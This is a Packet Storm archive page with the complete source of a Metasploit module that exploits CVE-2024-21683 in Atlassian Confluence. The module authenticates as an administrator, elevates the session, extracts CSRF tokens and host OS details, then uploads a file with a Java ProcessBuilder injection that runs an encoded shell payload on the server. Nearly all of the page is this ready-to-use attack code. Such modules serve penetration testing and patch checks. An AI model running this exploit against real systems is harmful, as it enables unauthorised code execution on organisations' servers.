what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Atlassian Confluence Administrator Code Macro Remote Code Execution

Atlassian Confluence Administrator Code Macro Remote Code Execution
Posted Jul 11, 2024
Authored by W01fh4cker, remmons-r7, Huong Kieu, Ankita Sawlani | Site metasploit.com

This Metasploit module exploits an authenticated administrator-level vulnerability in Atlassian Confluence, tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will authenticate, validate user privileges, extract the underlying host OS information, then trigger remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions up to 8.9.0.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2024-21683
SHA-256 | b198d9755cf50ac9c6b86be9526d83c12bdaeab6e989721de64dd0ef6781f8d3

Atlassian Confluence Administrator Code Macro Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Administrator Code Macro Remote Code Execution',
'Description' => %q{
This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,
tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating
tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will
authenticate, validate user privileges, extract the underlying host OS information, then trigger
remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions
up to 8.9.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Ankita Sawlani', # Discovery
'Huong Kieu', # Public Analysis
'W01fh4cker', # PoC Exploit
'remmons-r7' # MSF Exploit
],
'References' => [
['CVE', '2024-21683'],
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-95832'],
['URL', 'https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated'],
['URL', 'https://github.com/W01fh4cker/CVE-2024-21683-RCE']
],
'DisclosureDate' => '2024-05-21',
'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default, `confluence` on Linux by default.
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'DefaultTarget' => 0,
'Targets' => [ [ 'Default', {} ] ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
# The access log files will contain requests to the exploitable administrator dashboard endpoints.
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
# By default, Confluence serves an HTTP service on TCP port 8090.
Opt::RPORT(8090),
OptString.new('TARGETURI', [true, 'The URI path to Confluence', '/']),
OptString.new('ADMIN_USER', [true, 'The Confluence administrator username', '']),
OptString.new('ADMIN_PASS', [true, 'The Confluence administrator password', ''])
]
)
end

def check
# Begin by retrieving the version string from the login page.
version = get_confluence_version
return CheckCode::Unknown('Failed to determine the Confluence version') unless version

# Check the extracted version against all documented vulnerable versions.
if version == Rex::Version.new('8.9.0') ||
version.between?(Rex::Version.new('8.8.0'), Rex::Version.new('8.8.1')) ||
version.between?(Rex::Version.new('8.7.0'), Rex::Version.new('8.7.2')) ||
version.between?(Rex::Version.new('8.6.0'), Rex::Version.new('8.6.2')) ||
version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.8')) ||
version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.5')) ||
version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.4')) ||
version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.3')) ||
version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.4')) ||
version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.4')) ||
version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('7.20.3')) ||
version.between?(Rex::Version.new('7.19.0'), Rex::Version.new('7.19.21')) ||
version.between?(Rex::Version.new('7.18.0'), Rex::Version.new('7.18.3')) ||
version.between?(Rex::Version.new('7.17.0'), Rex::Version.new('7.17.5')) ||
# According to Atlassian, all versions < 7.17 are vulnerable.
version.between?(Rex::Version.new('0.0.0'), Rex::Version.new('7.16.999'))
Exploit::CheckCode::Appears("Exploitable version of Confluence: #{version}")
else
Exploit::CheckCode::Safe("Non-exploitable version of Confluence: #{version}")
end
end

def login(username, password)
# Perform a POST request to login to Confluence with the provided credentials.
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dologin.action'),
'keep_cookies' => 'true',
'vars_post' => {
'os_username' => username,
'os_password' => password,
'os_destination' => '%2FXsuccessX'
}
)
end

def elevate
# Elevates the current administrator session. By default, administrator sessions will remain elevated for two minutes after this takes place.
vprint_status('Secure Administrator Sessions enabled - elevating session')

# Grab a CSRF token from the elevation page form.
csrf_elevation = get_csrf('doauthenticate.action', 'elevation')

# With the valid elevation token, escalate the current administrator session.
res_elevate = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'doauthenticate.action'),
'keep_cookies' => 'true',
'vars_post' => {
'atl_token' => csrf_elevation,
'password' => datastore['ADMIN_PASS'],
'authenticate' => 'Confirm',
'destination' => '%2FXsuccessX'
}
)

# Connection failure, no response, or malformed response.
fail_with(Failure::Unknown, 'Target did not respond as expected during privilege elevation') unless res_elevate

# Confirm that the response indicates a successful elevation.
fail_with(Failure::UnexpectedReply, 'The session elevation appears to have failed') unless res_elevate.code == 302 && res_elevate.headers['Location'].include?('XsuccessX')

vprint_status('Administrator session has been elevated')
end

def get_csrf(page, operation)
# Perform a GET request to the target page to grab a CSRF token.
res_get_csrf = send_request_cgi(
'method' => 'GET',
'keep_cookies' => 'true',
'uri' => normalize_uri(target_uri.path, page)
)

# Connection failure, no response, or malformed response.
fail_with(Failure::Unknown, "Target did not respond as expected when fetching #{operation} CSRF token") unless res_get_csrf

# If the response is not 200 and does not contain the string "atl_token", the target page has behaved unexpectedly.
fail_with(Failure::UnexpectedReply, "Target returned a response that did not contain #{operation} CSRF token") unless res_get_csrf.code == 200 && res_get_csrf.body.include?('atl_token')

# Response page should contain '<input type="hidden" name="atl_token" value="tokenhere">'.
csrf_token = res_get_csrf.get_xml_document.xpath('//input[@name="atl_token"]').first&.values&.[](2)

# Token should be 40 characters.
fail_with(Failure::UnexpectedReply, "Target did not return the expected 40-character #{operation} CSRF token") unless csrf_token&.length == 40

vprint_status("Grabbed #{operation} CSRF token: #{csrf_token}")

csrf_token
end

def get_host_os
# Elevated Confluence administrators can view system information, which will be used to confirm the target OS.
res_sysinfo = send_request_cgi(
'method' => 'GET',
'keep_cookies' => 'true',
'uri' => normalize_uri(target_uri.path, 'admin', 'systeminfo.action')
)

# Connection failure, no response, or malformed response.
fail_with(Failure::Unknown, 'Target did not respond as expected while getting host OS') unless res_sysinfo

# Confirm that the response is the expected system info page.
fail_with(Failure::UnexpectedReply, 'The system information page failed to return the expected data') unless res_sysinfo.code == 200 && res_sysinfo.body.include?('operating.system')

# Extract the OS string from the response DOM.
os = res_sysinfo.get_xml_document.xpath('//span[@id="operating.system"]').first&.text
vprint_status("Target returned the operating system string '#{os}'")

# If the string begins with "win", assume the host is Windows. If it's anything else, assume it's something Unix-based.
os.downcase.start_with?('win') ? 'win' : 'nix'
end

def upload_payload(shell)
# Grab a valid macro dashboard CSRF token.
csrf_macro = get_csrf('/admin/plugins/newcode/configure.action', 'macro')

# Initialize a multipart form.
payload_form = Rex::MIME::Message.new

# ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.
payload_string = "new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()"

# Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.
payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name="atl_token"')
payload_form.add_part(payload_string, 'text/plain', 'binary', "form-data; name=\"languageFile\"; filename=\"#{rand_text_hex(10)}\"")
payload_form.add_part(rand_text_hex(10), 'text/plain', 'binary', 'form-data; name="newLanguageName"')

vprint_status("Crafted ProcessBuilder payload string: #{payload_string}")
vprint_status('Sending POST request to trigger code execution')

# POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore.
res_upload = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins', 'newcode', 'addlanguage.action'),
'keep_cookies' => 'true',
'ctype' => "multipart/form-data; boundary=#{payload_form.bound}",
'data' => payload_form.to_s
)

# Connection failure, no response, or malformed response.
print_error('Target did not respond as expected during code execution attempt') unless res_upload

# If the response to the multipart request does not return a 200.
print_error('The application returned a non-200 response during code execution attempt') unless res_upload.code == 200
end

def exploit
# Authenticate to Confluence.
res_login = login(datastore['ADMIN_USER'], datastore['ADMIN_PASS'])

# Connection failure, no response, or malformed response.
fail_with(Failure::Unknown, 'Target did not respond as expected during authentication') unless res_login

# If authentication does not result in a redirect with the provided "XsuccessX" 'Location' header value.
fail_with(Failure::BadConfig, 'The target did not accept the provided credentials') unless res_login.code == 302 && res_login.headers['Location'].include?('XsuccessX')

vprint_status('Successfully authenticated to Confluence')

# Attempt to fetch a privileged page with the provided valid credentials to confirm the user is an administrator.
res_check_admin = send_request_cgi(
'method' => 'GET',
'keep_cookies' => 'true',
'uri' => normalize_uri(target_uri.path, 'admin', 'console.action')
)

# Connection failure, no response, or malformed response.
fail_with(Failure::Unknown, 'Target did not respond as expected during privilege check') unless res_check_admin

# If a 'Location' header is returned in the response, the current session doesn't have full privileges.
if res_check_admin.headers['Location']

# Confluence will redirect to the login page if the current user does not have admin privileges, so check for that here.
if res_check_admin.headers['Location'].include?('login.action')
fail_with(Failure::BadConfig, 'The provided credentials are valid, but the user does not have administrative privileges')
end

vprint_status('The provided user is an administrator')

# Check whether Secure Administrator Sessions feature (sudo-like elevation prompt) is enabled. This feature is default on newer versions.
if res_check_admin.headers['Location'].include?('authenticate.action')
elevate
end

# User is an administrator and Secure Administrator Sessions is disabled.
else
vprint_status('The provided user is an administrator')
end

# As an administrator, check the host OS for selection between sh/cmd.exe in payload
shell = get_host_os == 'win' ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'

# Upload a text file containing a payload to be evaluated by the script engine
upload_payload(shell)
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close